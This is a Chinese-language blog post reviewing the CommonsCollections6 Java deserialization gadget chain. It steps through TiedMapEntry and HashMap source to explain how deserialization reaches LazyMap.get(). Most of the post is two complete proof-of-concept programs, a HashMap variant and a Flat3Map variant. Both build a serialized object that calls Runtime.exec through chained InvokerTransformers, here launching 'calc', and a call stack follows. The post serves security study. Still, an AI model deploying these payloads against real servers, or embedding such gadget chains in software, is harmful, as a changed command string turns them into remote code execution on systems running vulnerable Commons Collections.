CC6复习
# 本文知识点:
测试环境:3.1-3.2.1,jdk1.7,1.8
CC5 用了 BadAttributeValueExpException 反序列化去触发 LazyMap.get (),除了 BadAttributeValueExpException 、AnnotationInvocationHandler 还有其他方法吗? HashMap!
# 正文:
我们再研究研究 TiedMapEntry 这个类
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
//构造函数,显然我们可以控制 this.map 为 LazyMap
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
//hashCode函数,注意这里调用了 getValue()
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
//跟进 getValue(), 这是关键点 this.map.get() 触发 LazyMap.get()
public Object getValue() {
return this.map.get(this.key);
}
}
如何反序列化时触发 TiedMapEntry.hashCode () ? 这就引入了 HashMap!
//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
//先看看其 readObject
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
…………
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);
}
}
//跟进 putForCreate 方法
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key); //关键点,我们可以控制 key 为TiedMapEntry,然后计算hash(TiedMapEntry)
int i = indexFor(hash, table.length);
…………
createEntry(hash, key, value, i);
}
//跟进 hash 方法
final int hash(Object k) {
int h = hashSeed;
if (0 != h && k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h ^= k.hashCode(); //关键点,触发 TiedMapEntry.hashCode()
…………
}
# HashMap 实现
最终实现代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
//先设置假的 Transformer 数组,防止生成时执行命令
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
//TiedMapEntry 实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "test");
//通过反射设置真的 transformer 数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
//清空由于 hashMap.put 对 LazyMap 造成的影响
lazyMap.clear();
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
大体调用栈:
//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
->HashMap.readObject()
->HashMap.putForCreate()
->HashMap.hash()
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………
# Flat3Map 实现
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.Flat3Map;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Map;
public class cc6Flat3Map {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
//先设置假的 Transformer 数组,防止生成时执行命令
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//LazyMap实例
// Map uselessMap = new HashMap();
Map uselessMap = new Flat3Map();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
//TiedMapEntry 实例
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
// HashMap hashMap = new HashMap();
// hashMap.put(tiedMapEntry, "test");
Flat3Map flat3Map = new Flat3Map();
flat3Map.put(tiedMapEntry, "test");
//通过反射设置真的 transformer 数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
//清空由于 hashMap.put 对 LazyMap 造成的影响
lazyMap.clear();
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
// oos.writeObject(hashMap);
oos.writeObject(flat3Map);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 月光倾泻与山海,你跌进我的梦里!